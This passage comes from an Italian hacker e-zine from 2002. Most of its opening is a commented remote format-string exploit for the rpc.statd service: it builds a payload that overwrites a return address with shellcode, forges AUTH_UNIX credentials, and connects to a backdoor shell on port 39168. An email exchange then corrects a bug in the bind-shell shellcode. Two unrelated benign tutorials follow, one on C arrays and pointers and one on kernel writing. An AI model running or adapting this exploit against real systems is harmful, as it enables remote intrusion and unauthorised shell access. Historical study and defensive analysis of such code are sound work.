| send(sockd, "cd /; ls -alF; id;\n", 19, 0); |
| |
| for(;;) |
| { |
| |
| FD_ZERO(&fds); |
| FD_SET(fileno(stdin), &fds); |
| FD_SET(sockd, &fds); |
| |
| if(select(fmax, &fds, NULL, NULL, NULL) < 0) |
| { |
| perror("select()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| if(FD_ISSET(sockd, &fds)) |
| { |
| bzero(buff, sizeof buff); |
| if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) |
| { |
| perror("recv()"); |
| exit(EXIT_FAILURE); |
| } |
| if(!ret) |
| { |
| fprintf(stderr, "Connection closed\n"); |
| exit(EXIT_FAILURE); |
| } |
| write(fileno(stdout), buff, ret); |
| } |
| |
| if(FD_ISSET(fileno(stdin), &fds)) |
| { |
| bzero(buff, sizeof buff); |
| ret = read(fileno(stdin), buff, sizeof buff); |
| errno = 0; |
| if(send(sockd, buff, ret, 0) != ret) |
| { |
| if(errno) perror("send()"); |
| else fprintf(stderr, "Transmission loss\n"); |
| exit(EXIT_FAILURE); |
| } |
| } |
| } |
| } |
| |
| /** |
| *** |
| *** >>> tentativo di collegamento TCP sulla porta selezionata (se |
| *** >>> non specificato diversamente e' la 39168). In caso di |
| *** >>> connessione riuscita, attiva la parte client della |
| *** >>> connessione stessa. Insieme alla routine "runshell" vista |
| *** >>> in precedenza, puo' essere sostituita da un qualsiasi |
| *** >>> "telnet" sulla porta. |
| *** |
| **/
|
| |
| |
| void |
| connection(struct sockaddr_in host) |
| { |
| int sockd; |
| |
| host.sin_port = htons(39168); |
| |
| if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) |
| { |
| perror("socket()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| if(!connect(sockd, (struct sockaddr *) &host, sizeof host)) |
| { |
| printf("OMG! You now have rpc.statd technique!@#$!\n"); |
| runshell(sockd); |
| } |
| |
| close(sockd); |
| } |
| |
| |
| /** |
| * |
| * >>> eccola, la "magia" che compone il buffer in maniera opportuna, |
| * >>> a seconda del tipo di sistema che si desidera attaccare; proprio |
| * >>> per questo motivo la parametrizzazione e' totale. |
| * |
| **/
|
| |
| |
| char * |
| wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe) |
| { |
| int i, j, cnt, pad; |
| char pbyte, *buff, *ptr; |
| u_long retpos; |
| u_long dstpos; |
| |
| |
| while(bufpos % 4) bufpos--; |
| /* buflen + ebp */ |
| retpos = bufpos + buflen + 4; |
| |
| /*** |
| * |
| * >>> Ahime', l'indirizzo NON puo' contenere byte che valgano 0x00 |
| * >>> oppure 0x24, poiche' tali caratteri "disturberebbero" |
| * >>> il corretto comportamento della vsnprintf |
| * >>> (il primo tronca prematuramente la stringa, il secondo |
| * >>> introdurrebbe una conversione non corretta) |
| * |
| **/
|
| |
| |
| /* |
| ** 0x00 == '\0' |
| ** 0x25 == '%' |
| ** (add troublesome bytes) |
| ** Alignment requirements aid comparisons |
| */
|
| |
| pbyte = retpos & 0xff; |
| |
| /* Yes, it's 0x24 */ |
| if(pbyte == 0x00 || pbyte == 0x24) |
| { |
| fprintf(stderr, "Target address space contains a poison char\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| /* |
| ** Unless the user gives us a psychotic value, |
| ** the address should now be clean. |
| */
|
| |
| /* str */ |
| cnt = 24; |
| /* 1 = process nul */ |
| buflen -= cnt + 1; |
| |
| if(!(buff = malloc(buflen + 1))) |
| { |
| perror("malloc()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| /** |
| *** |
| *** >>> preparo il buffer: riempio di NOP |
| *** |
| **/
|
| |
| |
| ptr = buff; |
| memset(ptr, NOP, buflen); |
| |
| /** |
| *** |
| *** >>> metto gli indirizzi che desidero vengano sovrascritti |
| *** |
| **/
|
| |
| |
| for(i = 0; i < 4; i++, retpos++) |
| { |
| /* junk dword */ |
| for(j = 0; j < 4; j++) |
| *ptr++ = retpos >> j * 8 & 0xff; |
| /* r + i */ |
| memcpy(ptr, ptr - 4, 4); |
| ptr += 4; cnt += 8; |
| } |
| |
| /* restore */ |
| retpos -= 4; |
| |
| /** |
| * |
| * >>> incomincio le formattazioni per "saltare" le informazioni |
| * >>> che non mi interessano (va_list e le stringhe prima del buffer) |
| * |
| **/
|
| |
| for(i = 0; i < wipe; i++) |
| { |
| /* consistent calculations */ |
| strncpy(ptr, "%8x", 3); |
| ptr += 3; cnt += 8; |
| } |
| |
| /** |
| *** |
| *** >>> calcolo l'indirizzo di partenza del mio codice |
| *** |
| **/
|
| |
| dstpos = bufpos + offset; |
| |
| /* |
| ** This small algorithm of mine can be used |
| ** to obtain "difficult" values.. |
| */
|
| |
| |
| |
| /** |
| *** |
| *** >>> imposto le formattazioni per ottenere la riscrittura |
| *** >>> dell'indirizzo di ritorno con il valore di "dstpos", che |
| *** >>> corrisponde all'inizio dello shellcode |
| *** |
| **/
|
| |
| |
| for(i = 0; i < 4; i++) |
| { |
| pad = dstpos >> i * 8 & 0xff; |
| if(pad == (cnt & 0xff)) |
| { |
| sprintf(ptr, "%%n%%n"); |
| ptr += 4; continue; |
| } |
| else |
| { |
| int tmp; |
| /* 0xffffffff = display count of 8 */ |
| while(pad < cnt || pad % cnt <= 8) pad += 0x100; |
| pad -= cnt, cnt += pad; |
| /* the source of this evil */ |
| tmp = sprintf(ptr, "%%%dx%%n", pad); |
| ptr += tmp; |
| } |
| |
| } |
| |
| |
| /** |
| *** |
| *** >>> carico alla fine del buffer lo shellcode |
| *** >>> che implementa la backdoor |
| *** |
| **/
|
| |
| *ptr = NOP; |
| /* plug in the shellcode */ |
| memcpy(buff + buflen - strlen(sc), sc, strlen(sc)); |
| buff[buflen] = '\0'; |
| |
| //* |
| *** |
| *** >>> visualizzo i valori utilizzati (per controllo) |
| *** |
| **/
|
| |
| |
| printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff)); |
| printf("target: %#lx new: %#lx (offset: %d)\n", |
| retpos, dstpos, offset); |
| printf("wiping %d dwords\n", wipe); |
| return buff; |
| } |
| |
| |
| /** |
| *** |
| *** >>> routine di servizio per la determinazione dell'indirizzo IP |
| *** |
| **/
|
| |
| |
| struct in_addr |
| getip(char *host) |
| { |
| struct hostent *hs; |
| |
| if((hs = gethostbyname(host)) == NULL) |
| { |
| herror("gethostbyname()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| return *((struct in_addr *) hs->h_addr); |
| } |
| |
| |
| /** |
| *** |
| *** >>> THE MAIN PROGRAM ITSELF ;) |
| *** |
| **/
|
| |
| int |
| main(int argc, char **argv) |
| { |
| int ch; |
| char *buff; |
| |
| CLIENT *clnt; |
| enum clnt_stat res; |
| struct timeval tv, tvr; |
| struct sm_name smname; |
| struct sm_stat_res smres; |
| struct sockaddr_in addr; |
| |
| int type = -1; |
| int usetcp = 0; |
| int timeout = 5; |
| int wipe = 9; |
| int offset = 600; |
| int buflen = 1024; |
| char *target; |
| char *sc = shellcode; |
| u_short port = 0; |
| u_long bufpos = 0; |
| |
| int sockp = RPC_ANYSOCK; |
| |
| extern char *optarg; |
| extern int optind; |
| extern int opterr; |
| opterr = 0; |
| |
| /** |
| *** |
| *** >>> ciclo di gestione delle eventuali opzioni |
| *** |
| **/
|
| |
| while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) |
| { |
| switch(ch) |
| { |
| case 't': usetcp = 1; break; |
| case 'p': sscanf(optarg, "%hu", &port); break; |
| case 'a': sscanf(optarg, "%lx", &bufpos); break; |
| case 'l': buflen = atoi(optarg); break; |
| case 'o': offset = atoi(optarg); break; |
| case 's': timeout = atoi(optarg); break; |
| case 'w': wipe = atoi(optarg); break; |
| case 'd': type = atoi(optarg); break; |
| default : usage(argv[0]); |
| } |
| } |
| |
| /** |
| *** |
| *** >>> controllo che sia stato specificato un host come target |
| *** |
| **/
|
| |
| if(!(target = argv[optind])) |
| { |
| fprintf(stderr, "No target host specified\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| |
| /** |
| *** |
| *** >>> se per caso e' stato specificato un tipo predefinito, |
| *** >>> valorizzo le variabili con i valori relativi al tipo scelto |
| *** |
| **/
|
| |
| if(type >= 0) |
| { |
| if(type >= sizeof types / sizeof types[0] - 1) |
| { |
| fprintf(stderr, "Invalid type\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| sc = types[type].code; |
| bufpos = types[type].bufpos; |
| buflen = types[type].buflen; |
| offset = types[type].offset; |
| wipe = types[type].wipe; |
| } |
| |
| if(!bufpos) |
| { |
| fprintf(stderr, "No buffer address specified\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| bzero(&addr, sizeof addr); |
| addr.sin_family = AF_INET; |
| addr.sin_port = htons(port); |
| addr.sin_addr = getip(target); |
| |
| tv.tv_sec = timeout; |
| tv.tv_usec = 0; |
| |
| |
| /** |
| *** |
| *** >>> creazione della connessione specifica (TCP o UDP) |
| *** >>> sulla base della selezione effettuata |
| *** |
| **/
|
| |
| if(!usetcp) |
| { |
| clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); |
| if(clnt == NULL) |
| { |
| clnt_pcreateerror("clntudp_create()"); |
| exit(EXIT_FAILURE); |
| } |
| tvr.tv_sec = 2; |
| tvr.tv_usec = 0; |
| clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); |
| } |
| else |
| { |
| clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); |
| if(clnt == NULL) |
| { |
| clnt_pcreateerror("clnttcp_create()"); |
| exit(EXIT_FAILURE); |
| } |
| } |
| |
| /* AUTH_UNIX / AUTH_SYS authentication forgery */ |
| clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); |
| |
| /** |
| *** |
| *** >>> Preparazione del buffer secondo le regole specificate |
| *** |
| **/
|
| |
| buff = wizardry(sc, bufpos, buflen, offset, wipe); |
| smname.mon_name = buff; |
| |
| |
| /** |
| *** |
| *** >>> invio del buffer per tentare l'exploit |
| *** |
| **/
|
| |
| res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, |
| (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, |
| (caddr_t) &smres, tv); |
| |
| |
| /** |
| *** |
| *** >>> controllo dello stato di ritorno dell'operazione; se |
| *** >>> fallisce, e' probabile che sul target sia stato attivato |
| *** >>> lo shellcode e quindi la backdoor ;) |
| *** |
| **/
|
| |
| if(res != RPC_SUCCESS) |
| { |
| clnt_perror(clnt, "clnt_call()"); |
| printf("A timeout was expected. Attempting connection to shell..\n"); |
| |
| /** |
| *** |
| *** >>> OK! Proviamo a connetterci alla backdoor |
| *** |
| **/
|
| |
| sleep(5); connection(addr); |
| |
| /** |
| *** |
| *** >>> se si arriva qui qualcosa e' andato storto :/ |
| *** |
| **/
|
| |
| printf("Failed\n"); |
| } |
| else |
| |
| /** |
| * |
| * >>> hmmm.. l'invio del buffer di exploit ha restituito una condizione |
| * >>> NON di errore... questa poi! |
| * |
| **/
|
| |
| { |
| printf("Failed - statd returned res_stat: (%s) state: %d\n", |
| smres.res_stat ? "failure" : "success", smres.state); |
| } |
| |
| |
| /** |
| * |
| * >>>beh,per quello che puo' valere,almeno chiudiamo in modo ordinato. |
| * |
| **/
|
| |
| free(buff); |
| clnt_destroy(clnt); |
| return -1; |
| } |
| |
| ************************ fine del listato ************************* |
| |
| |
| 7. EXTRA! EXTRA! Ho trovato un piccolo "bug"! |
| (...i miei dieci eurocentesimi di contributo... ;) |
| |
| Come avrete potuto notare dai commenti nel listato dello shellcode, |
| in corrispondenza dello sviluppo della chiamata alla funzione accept |
| esistono due istruzioni (xorb e movb) commentate e sostituite da |
| altre due (xorl e movl). Esse sono il frutto del duro lavoro di debug |
| effettuato dal sottoscritto sullo shellcode in esame allo scopo di |
| capire per quale motivo non sempre venisse restituita una shell |
| in attesa sulla porta "magica"... |
| |
| Credo che la migliore spegazione possa essere trovata dal messaggio |
| di posta elettronica che lo stesso autore mi ha inviato in |
| risposta alla mia segnalazione relativa al "bug" in questione. |
| |
| Vi lascio pertanto alla amabile lettura del messaggio in questione, |
| scusandomi per l'enormita' di questo articolo... credo pero' che ne |
| sia valsa la pena. |
| |

  

| From: "ron1n -" <shellcode@hotmail.com> |
| To: xyzzy@vxp.com |
| Subject: Re: a little bug into your shellcode |
| Date: Wed, 25 Jul 2001 14:06:14 +1000 |
| |
| ---------------------------------------------------------------------- |
| |
| Hi, |
| |
| Thanks for pointing that out. You've found a bug |
| that caused something which puzzled me somewhat |
| last year. |
| |
| If I understand it right, the following diagram |
| shows my error: |
| |
| |
| - ecx |
| 00]sd |
| 01]0 |
| 02]0 |
| 03]0 |
| 04] <- lsb 0 |
| 05]p12 !!! |
| 06]p12 !!! |
| 07]p12 !!! |
| 08]0x10 |
| 09]0 |
| 10]0 |
| 11]0 |
| - socket structure |
| 12]2 |
| 13]0 |
| 14]0x99 | |
| 15]0 | port |
| 16]0 |
| 17]0 |
| 18]0 |
| 19]0 |
| [...] |
| |
| |
| Darn :( |
| |
| If I ever make a personal website, I'll store |
| the exploit on it with a small patch (with |
| credit to you for finding the bug, of course). |
| |
| Looking at that exploit (and version 2 of it) |
| still embarrasses me a lot, mainly because |
| it was my first remote and I had only been |
| into asm for a couple of months. I actually |
| thought 125-135 bytes was good until I saw |
| people who have optimized to like 80-90 bytes... |
| |
| Once again, thanks. |
| |
| ron1n |
| |
| |
| > From: "Magic word XYZZY" <xyzzy@vxp.com> |
| > To: shellcode@hotmail.com |
| > Subject: a little bug into your shellcode |
| > Date: Tue, 24 Jul 2001 15:33:07 -0700 |
| ---------------------------------------------------------------------- |
| > |
| > Hello, |
| > |
| > I am writing this message to inform you that I've probably found |
| > a little |
| > bug into the shellcode included in the "statdx.c" remote exploit. |
| > |
| > In detail, the problem arises in the following part |
| > |
| > |
| > |
| >/* ------------------------------- bind(sd,&sockaddr,16); -------- */ |
| >"\xb3\x02" /* movb $0x2,%bl */ |
| >"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ |
| >"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ |
| >"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ |
| >"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ |
| > |
| >Here the location at 0x4(%ecx) contains the address of the "sockaddr" |
| > pseudo structure, thus it is a "fullfilled" longword. |
| > |
| > |
| >"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ |
| >"\x88\x01" /* movb %al,(%ecx) */ |
| >"\xb0\x66" /* movb $0x66,%al */ |
| >"\xcd\x80" /* int $0x80 */ |
| >/* ------------------------------- listen(sd,blah); -------------- */ |
| >"\xb3\x04" /* movb $0x4,%bl */ |
| >"\xb0\x66" /* movb $0x66,%al */ |
| >"\xcd\x80" /* int $0x80 */ |
| >/* ------------------------------- accept(sd,0,16); -------------- */ |
| >"\xb3\x05" /* movb $0x5,%bl */ |
| >"\x30\xc0" /* xorb %al,%al */ |
| >"\x88\x41\x04" /* movb %al,0x4(%ecx) */ |
| > |
| >Here, in order to clear the "addr" field of the accept (thus avoiding |
| >the "annoying" write of the third argument), you should move a cleared |
| >longword, but the instructions I see are only clearing the least |
| >significant byte of the location. AS a result the accept returns "-14" |
| >(or EFAULT) stating that the address (I guess it is the third |
| >argument, NOT the second) is not in a writeable address space. To let |
| >things work, I modified the two instructions |
| > |
| >"\x30\xc0" /* xorb %al,%al */ |
| >"\x88\x41\x04" /* movb %al,0x4(%ecx) */ |
| > |
| >with their "longword" counterparts |
| > |
| >"\x31\xc0" /* xorl %eax,%eax */ |
| >"\x89\x41\x04" /* movl %eax,0x4(%ecx) */ |
| > |
| > |
| >Hoping this could be of some interest, I remain |
| > |
| >faithfully your |
| > |
| > |
| > |
| >Saluti |
| > |
| >xyzzy |
| > |
| >---------------------------------------------------------------------- |
| >You are in a debris room filled with stuff washed in from the surface. |
| >A low wide passage with cobbles becomes plugged with mud and debris |
| >here, but an awkward canyon leads upward and west. A note on the wall |
| >says "Magic word XYZZY". |
| |
| |
| |
| 8. Saluti e baci ;) |
| |
| Bene, signore e signori, qui finisce la mia lunga fatica. |
| Non posso negare di essermi davvero divertito a (cercare di) spiegare |
| gli arcani misteri di alcune delle piu' usate tecniche di exploit |
| remoto. Lungi da me l'idea di atteggiarmi ad "esperto" di queste cose, |
| ho semplicemente voluto dare un contributo nella misura in cui ero |
| stato, all'epoca, coinvolto (ricordo a tutti che l'elemento scatenante |
| fu rappresentato da un paio di miei server bellamente violati |
| da ignoti...) |
| |
| Nelle prossime puntate di questa simpatica e-zine vedro' di riuscire a |
| mantenere, in un modo o nell'altro, una certa quale costanza di |
| contributo, nella speranza di essere perlomeno non noioso... :) :) :) |
| |
| |
| ...ultima cosa: non mi dimentico del piccolo "quiz" che avevo proposto |
| alla fine della scorsa puntata... se qualcuno avesse una risposta, o |
| semplicemente fosse interessato a conoscerla, puo' liberamente |
| scrivermi all'indirizzo e-mail xyzzy@vxp.com. Prometto che rispondero' |
| magari non immediatamente, ma rispondero' ;) |
| |
| Grazie a tutti per la pazienza che avete messo nel leggermi fino qui. |
| |
| A presto |
| |
| xyzzy |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #06 - 25/04/2002 |
| C0RS0 Di C [PARTE QUINTA] [AndreaGeddon] 0x0C/0x1D |
+--------------------------------------------------------------------------+
| |
| Abbiamo visto nelle puntate precedenti gli operatori e i costrutti di |
| base del C, che poi sono molto simili in tutti i linguaggi imperativi, |
| adesso vediamo dei costrutti più avanzati e funzionali, quali array e |
| funzioni; di conseguenza dovremo chiarire i concetti di ambito delle |
| variabili, gestione dello stack e puntatori. Niente di difficile, basterà|
| vedere qualche esempio per fare luce nelle vostre zucche. |
| Partiamo dagli array. Avete già visto le variabili, e con esse i tipi di |
| dato, ma se vi serve una serie di variabili come facciamo? Cioè se ci |
| serve una serie di 100 variabili intere, dobbiamo definirle come: |
| |
| int var1, var2, var3, ... , var100; |
| |
| sarebbe improponibile! Ecco quindi che arrivano gli array. Definendo un |
| array non facciamo altro che riservare un blocco di memoria contenente |
| un numero di variabili specificato da noi. Ecco come si dichiara: |
| |
| int interi[10]; |
| char caratteri[50]; |
| |
| nel primo caso abbiamo definito una lista di 10 interi, nel secondo una |
| lista di 50 caratteri. I più svegli di voi avranno già intuito che le |
| stringhe sono assimilabili ad array di caratteri. Comunque, abbiamo |
| definito i nostri array, ora che ci facciamo? Dove ce li mettiamo? |
| Risparmiatevi please l'ovvia risposta: avendo la nostra lista di interi |
| possiamo in ogni momento accedere ad un qualsiasi elemento della lista |
| semplicemente specificandone l'indice, se ad esempio vogliamo prendere |
| il terzo elemento della lista di interi dobbiamo usare la notazione: |
| |
| int a = interi[2]; |
| |
| l'indice 2 rappresenta il TERZO elemento:infatti gli arrai sono numerati |
| da 0 ad n-1, e non da 1 ad n. Altra considerazione,un array è uno spazio |
| contiguo per cui può essere gestito anche tramite il puntatore: abbiamo |
| definito l'array interi[10], dove array[n] rappresenta un generico |
| elemento, se invece usiamo solo il nome interi senza le [] allora vuol |
| dire che stiamo considerando il puntatore al primo elemento della lista, |
| dunque volendo potremmo accedere ai vari elementi della lista |
| incrementando il puntatore stesso. Lo so detto così è un pò caotico, |
| vediamo uno snippet di codice per capire: |
| |
| #include <stdio.h> |
| main() |
| { |
| int interi[10]; |
| int i; |
| |
| for(i=0; i<10; i++) |
| { |
| interi[i] = i; |
| } |
| |
| for(i=0; i<10; i++) |
| { |
| printf("stampa numeri tramite []: %d\n", interi[i]); |
| } |
| return 0; |
| } |
| |
| Con il primo for inizializziamo l'array, mettiamo in ogni elemento i il |
| valore dell'indice i, con il secondo for stampiamo su schermo il |
| risultato, in questo caso i numeri da 0 a 9. Abbiamo prima parlato di |
| puntatori, cosa sono? Se voi definite una variabile int, ogni volta che |
| la usate vi riferite al valore intero. Il puntatore invece è l'indirizzo |
| di memoria che contiene il valore numerico stesso. Vediamo uno schema: |
| |
| locazione valore |
| +-------------+-------------+ |
| | 0xFFFFFFFF | n | |
| +-------------+-------------+ |
| | 0xFFFFFFFE | m | |
| +-------------+-------------+ |
| | .......... | ... | |
| +-------------+-------------+ |
| | 0x12345678 | 100 | |
| +-------------+-------------+ |
| | .......... | ... | |
| +-------------+-------------+ |
| | 0x00000000 | x | |
| +-------------+-------------+ |
| |
| ad esempio se noi definiamo una variabile int prova = 100, questa sarà |
| messa da qualche parte in memoria, Ogni volta che useremo la variabile |
| prova noi ci riferiremo al valore 100,mentre ogni volta che ci riferiamo |
| al puntatore ci riferiamo al valore 0x12345678 che è l'indirizzo della |
| variabile in memoria. Vediamo come si dichiara un puntatore: |
| |
| #include <stdio.h> |
| main() |
| { |
| int* prova; |
| int prova2; |
| printf("Puntatore con *: %d\n", prova); |
| printf("Puntatore con &: %d\n", &prova2); |
| } |
| |
| abbiamo usato gli operatori * e &. Il primo in fase di dichiarazione, |
| abbiamo dichiarato un puntatore a intero (prova)e poi l'abbiamo stampato |
| su schermo, nel secondo caso invece abbiamo definito un int normalmente |
| ma poi in fase di stampa invece della variabile prova2 abbiamo passato |
| &prova2, che indica l'indirizzo della variabile prova2. In entrambi i |
| casi non viene stampato il valore intero ma il valore del suo puntatore, |
| cioè l'indirizzo di memoria della variabile stessa. Perchè parliamo |
| di puntatori? Perchè adesso dovremo parlare delle funzioni. |
| Una funzione è una relazione matematica che ad un elemento del dominio |
| associa al più un elemento del codominio... oops no quello è un'altra |
| cosa! Una funzione è un pezzo di codice che possiamo chiamare quando |
| vogliamo nel nostro programma. Di solito le funzioni prendono in input |
| dei parametri e restituiscono in output un risultato.Le funzioni possono |
| essere interne (cioè risiedono nel programma) oppure essere esterne,cioè |
| risiedono in moduli esterni al programma (ad esempio le dll di windows). |
| Per adesso ci occuperemo delle funzioni interne. Una funzione deve avere |
| un prototipo e un corpo. Il prototipo va definito prima dell'uso della |
| funzione stessa, come ad esempio: |
| |
| int funzione(int parametro1, long parametro2); |
| |
| questa dichiarazione vuol dire che la funzione prende in input un intero |
| e un long, e restituisce come valore un intero.E' importante capire come |
| funziona il passaggio di variabili, ovvero il loro ambito, che è anche |
| alla base della comprensione della tecnica dei buffer overflow.Quando il |
| compilatore C trova una funzione le crea uno stack privato (a meno di |
| alcune eccezioni), stack che poi viene eliminato all'uscita della |
| funzione. Le variabili devono tenere conto di questo fatto: le funzioni |
| infatti devono distinguere tra variabili globali e locali. Facciamo un |
| esempio: |
| |
| #include <stdio.h> |
| int a = 1000; |
| int c = 2000; |
| long somma(int a, int b); |
| main() |
| { |
| int a = 100; |
| printf("%d\n", somma(10, 30)); |
| } |
| |
| long somma(int a, int b) |
| { |
| return a + b; |
| } |
| |
| Il printf stampa il risultato della funzione somma, che appunto somma i |
| due interi passati (10 e 30), per cui il risultato sarà 40. Notate che |
| la variabile "a" è definita localmente nella funzione somma, localmente |
| nella funzione main e globalmente all'infuori della main. Notate anche |
| che ciò non interferisce con il nostro codice: la variabile a dentro la |
| funzione somma non è modificata dalle altre definizioni di a, così come |
| la variabile a nella main non è modificata dalla a al di fuori della |
| main, tutto questo grazie all'ambito di una variabile. La funzione somma |
| infatti ha un proprio namespace,cioè all'interno della funzione somma la |
| a che conta è quella definita nel suo prototipo, e solo quella. La |
| variabile c invece è globale e definita una volta sola, per cui ogni |
| riferimento a tale variabile nella main o nella funzione somma andrà a |
| modificare il valore della c globale. Visto dal lato del compilatore il |
| tutto risulta ancora più semplice: le variabili definite localmente in |
| una funzione vanno a finire sullo stack, mentre le variabili gloabli |
| sono salvate come dati fisicamente all'interno della sezione di dati del |
| programma stesso. Se in una funzione vogliamo una variabile non globale |
| ma che non sia volatile come quelle locali, possiamo definirla usando la |
| parola chiave "static", ad esempio: |
| |
| int funzione(int a) |
| { |
| int b; |
| static int c; |
| .... |
| } |
| |
| in questo modo anche la variabile c sarà salvata nella sezione dati e no |
| sul volatile stack. Cosa comporta questo? Se noi chiamiamo la funzione e |
| assegnamo un valore a b e uno a c, quando andremo a richiamare di nuovo |
| la funzione la variabile b conterrà un valore casuale, mentre c conterrà |
| il valore assegnatogli dall'ultima modifica fatta nella precedente |
| chiamata alla funzione. Le variabili passate come argomento vanno anche |
| esse nello stack, per cui sorgono alcuni problemi. Vediamo il seguente |
| esempio: |
| |
| #include <stdio.h> |
| long somma(int a, int b); |
| int a = 10; |
| main() |
| { |
| int c = 70; |
| printf("%d\n", somma(a, c)); |
| printf("a: %d c: %d\n", a, c); |
| } |
| |
| long somma(int a, int b) |
| { |
| a = a + b; |
| return a; |
| } |
| |
| stavolta alla funzione somma abbiamo passato direttamente due variabili |
| contenenti i valori da sommare. Ebbene come risultato vedete che viene |
| restituita la somma delle due variabili e poi viene stampato il loro |
| valore: notate che a e c non sono state modificate. Proprio perchè c'è |
| il passaggio di "copia" nello stack in fase della chiamata a somma: le |
| variabili non subiscono nessun cambiamento. Il problema si pone quando |
| per qualche motivo vogliamo che alcune delle variabli che passiamo siano |
| modificate anche fuori dalla funzione. Se ad esempio nel precedente |
| codice avessimo voluto che la variabile a modificata nella funzione somma|
| avesse mantenuto la modifica (cioè da 10 mantenesse il valore 80) allora |
| avremmo dovuto modificare la funzione affinchè prendesse il puntatore |
| alla variabile a: in tal caso il puntatore viene copiato e non alterato, |
| ma il relativo contenuto di memoria, cioè il valore di a, sarebbe stato |
| alterato in modo permanente. Esempio: |
| |
| #include <stdio.h> |
| long somma(int* a, int b); |
| int a = 10; |
| main() |
| { |
| int c = 70; |
| printf("%d\n", somma(&a, c)); |
| printf("a: %d c: %d\n", a, c); |
| } |
| long somma(int* a, int b) |
| { |
| *a = *a+b; |
| return *a; |
| } |
| |
| stavolta somma prende un puntatore a intero come primo parametro,per cui |
| il programma prima stamperà il risultato della somma sullo schermo, cioè |
| 80 e poi i valori di a e c, relativamente 80 e 70. Questo perchè a ha |
| mantenuto le modifiche effettuate dalla funzione somma. Nella funzione |
| come vedete ho usato *a e non a proprio per indicare il valore puntato da|
| a. Questo torna molto utile quando dovete ad esempio passare strutture o |
| puntatori a buffer nelle vostre funzioni. |
| Ovviamente non sta bene sovraccaricare lo stack,e capita spesso di dover |
| definire dei blocchi di memoria di size non noto a priori, vedremo la |
| prossima volta come allocare memoria per risolvere entrambi questi |
| problemi, vedremo anche come stare attenti a non andare in overflow e |
| vedremo la tecnica di ricorsione (cioè funzioni che richiamano sè stesse)|
| ora vediamo un programma riassuntivo: |
| |
| #include <stdio.h> |
| /* questa riga dichiara il prototipo della funzione media*/ |
| int media(int* lista); |
| main() |
| { |
| int numeri[10], i; |
| printf("inserisci dieci numeri per la media:\n"); |
| for(i=0; i<10; i++) |
| { |
| scanf("%d", &numeri[i]); |
| } |
| printf("la media e': %d\n", media(numeri)); |
|/* le funzioni possono essere incapsulate l'una nell'altra*/ |
| return 0; |
| } |
| int media(int* lista) |
| { |
| long a = 0; |
| int i; |
| for(i=0; i<10; i++) |
| { |
| a = a + lista[i]; |
| } |
| return a / 10; |
| } |
| |
| Il prototipo di funzione non è obbligatorio dichiararlo, basta che la |
| chiamata alla funzione venga fatta in un punto sotto la definizione |
| della funzione stessa, cmq è buona norma usare i prototipi. |
| |
| Con questo termina anche questa parte del corso,ci vediamo alla prossima |
| see ya |
| |
| |
| AndreaGeddon |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #06 - 25/04/2002 |
| 0S FR0M ZER0 - CHAPTER 3 [Alexander The Great] 0x0D/0x1D |
+--------------------------------------------------------------------------+
| |
| Direi che la teoria e` utile, ed il capitolo 2 ha cercato di spiegare, |
| in teoria per l'appunto, le prime cose che costituiranno problemi da |
| risolvere nella costruzione di un kernel; e in effetti il capitolo 2 ha |
| lasciato moltissime lacune; ha toccato, direi, la famigerata "punta |
| dell'iceberg"
. Be', la teoria e` necessaria, ma si sa, a un certo punto |
| si rende necessaria anche la pratica, nel nostro caso altrimenti nota |
| come la "fase dello spippolamento"; e nel mio metodo di apprendimento, |
| quella fase arriva sempre molto presto. |
| |
| Quindi passiamo pure alla pratica; e anche pesantemente, stavolta. |
| Premunitevi di analgesici: vi GARANTISCO che, non importa quanto lunga |
| la sappiate sui PC, alla fine vi verra` un mal di testa da far paura... |
| che diamine, e` venuto anche a me mentre sviluppavo 'sto kernel! |
| |
| Oggi cominciamo a esaminare il nostro belliFFimo "kernel", termine che |
| indica il gruppo di istruzioni fondamentali su cui un sistema operativo |
| si basa, e da non confondere con "kennel", che significa "canile" e non |
| ha niente a che vedere con un sistema operativo; lo dico perche` l'ho |
| visto indicare come "kennel" un sacco di volte... |
| |
| Gia`, ma cosa dovrebbe fare un kernel, in ultima analisi? |
| Be', per quanto riguarda i dettagli, le mansioni di un kernel dipendono |
| dal sistema operativo che si vuole costruire, ma di certo ci sono delle |
| funzioni fondamentali che non possono mancare, e che riguardano in primo |
| luogo l'interfacciamento dei programmi con le periferiche. Il concetto |
| di "periferiche", in questo ambito comprende anche entita` come la |
| memoria centrale (la RAM) e le memorie di massa (i floppy e gli HD), |
| nonche` i dispositivi di I-O piu` comuni: tastiera e video. |
| In sintesi, un kernel e` costituito per lo piu` da una serie di routines |
| (o funzioni, o procedure, chiamatele come vi pare) che i programmi |
| possano chiamare, e che assicurano la gestione, per quanto minima, di |
| ALMENO le suddette periferiche. |
| |
| Voce di lettore/trice che batte i piedi: - No, no, no! Ma, e il MoDem?! |
| |
| - Il MoDem non e` una periferica di I-O fondamentale, anche se, con la |
| dovuta pazienza, vedremo come controllare quelli piu` standard, cioe` |
| i modem seriali, ma non serve a nulla cercare di connettersi al proprio |
